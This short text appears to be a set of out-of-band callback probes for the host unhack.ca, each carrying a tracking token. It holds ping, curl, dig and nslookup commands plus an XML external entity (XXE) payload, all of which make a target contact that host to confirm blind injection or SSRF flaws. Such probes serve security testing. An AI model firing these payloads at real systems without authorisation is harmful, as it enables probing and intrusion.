$ ping -c1 -p 004fa4969b4d8035559bb64968c02b00 unhack.ca
$ curl http://unhack.ca/p/4fa4969b4d8035559bb64968c02b
$ dig 4fa4969b4d8035559bb64968c02b @unhack.ca
$ dig 4fa4969b4d8035559bb64968c02b.ns.unhack.ca
C:\> nslookup 4fa4969b4d8035559bb64968c02b unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/4fa4969b4d8035559bb64968c02b">]> <foo>&xxe;</foo>